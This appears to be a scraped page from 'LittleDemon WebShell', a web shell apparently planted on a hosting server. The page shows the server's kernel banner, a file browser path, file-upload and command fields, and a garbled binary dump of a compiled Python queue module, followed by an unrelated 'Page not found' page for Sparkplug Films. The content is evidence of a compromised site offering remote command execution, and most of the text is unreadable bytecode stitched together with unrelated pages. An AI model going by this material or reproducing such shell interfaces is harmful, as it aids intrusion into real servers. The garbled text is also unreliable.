LittleDemon WebShell


Linux sh00002.bigrock.com 5.14.0-687.29.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jul 23 16:18:48 EDT 2026 x86_64
Path : /lib64/python3.9/__pycache__/
File Upload :
Command :
Current File : //lib64/python3.9/__pycache__/queue.cpython-39.opt-2.pyc

a

�i�,�@s�ddlZddlZddlmZddlmZmZddlmZzddl	m
Z
Wney^dZ
Yn0gd�Zzddl	m
Z
Wn"ey�Gdd	�d	e�Z
Yn0Gd
d�de�ZGdd
�d
�ZGdd�de�ZGdd�de�ZGdd�d�Ze
dur�eZ
dS)�N)�deque)�heappush�heappop)�	monotonic)�SimpleQueue)�Empty�Full�Queue�
PriorityQueue�	LifoQueuer)rc@seZdZdS)rN��__name__�
__module__�__qualname__�rr�/usr/lib64/python3.9/queue.pyrsrc@seZdZdS)rNrrrrrrsrc@s�eZdZd dd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Zd!dd�Z	d"dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zeej�ZdS)#r	rcCsN||_|�|�t��|_t�|j�|_t�|j�|_t�|j�|_d|_	dS�Nr)
�maxsize�_init�	threading�Lock�mutex�	Condition�	not_empty�not_full�all_tasks_done�unfinished_tasks��selfrrrr�__init__"s

zQueue.__init__cCs\|j�B|jd}|dkr4|dkr*td��|j��||_Wd�n1sN0YdS)N�rz!task_done() called too many times)rr�
ValueError�
notify_all)r�
unfinishedrrr�	task_done9s

zQueue.task_donecCs<|j�"|jr|j��qWd�n1s.0YdS�N)rr�wait�rrrr�joinOs	z
Queue.joincCs2|j�|��Wd�S1s$0YdSr%�r�_qsizer'rrr�qsize\szQueue.qsizecCs4|j�|��Wd�S1s&0YdSr%r)r'rrr�emptyaszQueue.emptycCsH|j�.d|jko |��knWd�S1s:0YdSr)rrr*r'rrr�fullosz
Queue.fullTNcCs�|j��|jdkr�|s*|��|jkr�t�nr|durN|��|jkr�|j��q2nN|dkr`td��n<t�|}|��|jkr�|t�}|dkr�t�|j�|�qj|�|�|jd7_|j	�
�Wd�n1s�0YdS)Nr�''timeout' must be a non-negative number�r )rrr*rr&r!�time�_putrr�notify)r�item�block�timeout�endtime�	remainingrrr�putzs&




z	Queue.putcCs�|j��|s|��s�t�nf|dur8|��s�|j��q"nH|dkrJtd��n6t�|}|��s�|t�}|dkrrt�|j�|�qT|��}|j��|Wd�S1s�0YdS)Nrr.r/)	rr*rr&r!r0�_getrr2)rr4r5r6r7r3rrr�get�s$



z	Queue.getcCs|j|dd�S�NF)r4�r8�rr3rrr�
put_nowait�szQueue.put_nowaitcCs|jdd�Sr;�r:r'rrr�
get_nowait�szQueue.get_nowaitcCst�|_dSr%)r�queuerrrrr�szQueue._initcCs
t|j�Sr%��lenrAr'rrrr*�szQueue._qsizecCs|j�|�dSr%�rA�appendr=rrrr1�sz
Queue._putcCs
|j��Sr%)rA�popleftr'rrrr9�sz
Queue._get)r)TN)TN)r
rrrr$r(r+r,r-r8r:r>r@rr*r1r9�classmethod�types�GenericAlias�__class_getitem__rrrrr	s


 

r	c@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
r
cCs
g|_dSr%�rArrrrr�szPriorityQueue._initcCs
t|j�Sr%rBr'rrrr*�szPriorityQueue._qsizecCst|j|�dSr%)rrAr=rrrr1�szPriorityQueue._putcCs
t|j�Sr%)rrAr'rrrr9�szPriorityQueue._getN�r
rrrr*r1r9rrrrr
�sr
c@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
rcCs
g|_dSr%rKrrrrr�szLifoQueue._initcCs
t|j�Sr%rBr'rrrr*�szLifoQueue._qsizecCs|j�|�dSr%rDr=rrrr1�szLifoQueue._putcCs
|j��Sr%)rA�popr'rrrr9�szLifoQueue._getNrLrrrrr�src@sReZdZdd�Zddd�Zddd�Zd	d
�Zdd�Zd
d�Zdd�Z	e
ej�Z
dS)�_PySimpleQueuecCst�|_t�d�|_dSr)r�_queuer�	Semaphore�_countr'rrrrsz_PySimpleQueue.__init__TNcCs|j�|�|j��dSr%)rOrErQ�release)rr3r4r5rrrr8sz_PySimpleQueue.putcCs4|dur|dkrtd��|j�||�s*t�|j��S)Nrr.)r!rQ�acquirerrOrF)rr4r5rrrr:s
z_PySimpleQueue.getcCs|j|dd�Sr;r<r=rrrr>*sz_PySimpleQueue.put_nowaitcCs|jdd�Sr;r?r'rrrr@2sz_PySimpleQueue.get_nowaitcCst|j�dkSr�rCrOr'rrrr,:sz_PySimpleQueue.emptycCs
t|j�Sr%rTr'rrrr+>sz_PySimpleQueue.qsize)TN)TN)r
rrrr8r:r>r@r,r+rGrHrIrJrrrrrNs

	
rN)rrH�collectionsr�heapqrrr0rrOr�ImportError�__all__r�	Exceptionrr	r
rrNrrrr�<module>s*
DC

LittleDemon - FACEBOOK
[ KELUAR ]
Page not found – Sparkplug Films
Small totara tree on ridge above Long Point

Page not found

The page you are looking for doesn't exist, or it has been moved. Please try searching using the form below.